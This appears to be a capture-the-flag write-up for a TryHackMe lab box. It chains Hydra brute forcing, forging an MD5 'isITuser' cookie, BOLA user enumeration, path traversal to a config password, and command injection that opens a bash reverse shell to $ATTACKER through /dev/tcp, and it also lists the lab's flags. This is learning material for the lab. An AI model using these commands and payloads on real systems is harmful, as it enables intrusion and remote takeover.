Support CTF
Table of Contents
:IP: 10.10.x.x :PLATFORM: TryHackMe :DIFFICULTY: easy
Related: Hydra Insecure Authentication Mechanism bola Broken Object Level Authorisation Path Traversal Command Injection Content Discovery
Enumeration
Landing page on port 80 with a login form. Username help@support.thm
visible on the page.
Foothold
Credential Brute Force
Username disclosed on the login page — brute forced password with Hydra:
hydra -l help@support.thm \ -P /usr/share/wordlists/rockyou.txt \ 10.10.x.x http-post-form \ "/index.php:email=^USER^&password=^PASS^:F=Invalid credentials"
Credentials: help@support.thm / snoopy
Logs in to a ticketing system with no active tickets.
Cookie Manipulation — Privilege Escalation via Client-Side Auth
Inspecting cookies reveals isITuser set to an MD5 hash:
| Value | Hash | Plaintext |
|---|---|---|
| Current | 68934a3e9455fa72420237eb05902327 |
false |
| Target | b326b5062b2f0e69046810717534cb09 |
true |
Setting isITuser to the MD5 of true reveals an API button.
BOLA — Admin Account Enumeration via API
The API endpoint /user/<integer> returns user objects without
authorisation checks:
curl http://10.10.x.x/api/user/1
{
"email": "specialadmin@support.thm",
"2FA": false,
"admin": true
}
Admin username confirmed: specialadmin@support.thm
Path Traversal — Config File Disclosure
The skin parameter on the dashboard is vulnerable to path traversal:
curl "http://10.10.x.x/dashboard.php?skin=../config"
Config file contains:
$MASTER_PASSWORD = 'support@110';
The literal value failed — stripping the @ symbol worked:
Credentials: specialadmin@support.thm / support110
Gives access as admin — user flag obtained.
Privilege Escalation
Command Injection — API Date Parameter
The API accepts a date parameter that is passed unsanitised to
a shell command. Piping to a second command executes it
server-side:
# Confirm command injection curl "http://10.10.x.x/api/date?date=2025-01-01|id" # Reverse shell curl "http://10.10.x.x/api/date?date=2025-01-01|bash+-c+'bash+-i+>%26+/dev/tcp/$ATTACKER/4444+0>%261'"
Listener on attacker:
nc -lvnp 4444
Root flag found in /root/user.txt — note the flag was
misleadingly named user.txt but located in /root/.
Flags
| Flag | Value | Status |
|---|---|---|
| User | THM{I_AM_ADMIN999} |
Found |
| Root | THM{GOT_THE_FLAG001} |
Found |
Findings Summary
| Finding | Classification | Severity |
|---|---|---|
| Username visible on login page | Information Disclosure | Low |
| Client-side privilege check via cookie MD5 | Insecure Authentication Mechanism | High |
| API endpoint exposes user objects without auth | BOLA | High |
| Path traversal on skin parameter | Path Traversal | High |
| Credential in config file | Information Disclosure | High |
| Command injection via date API parameter | Command Injection | Critical |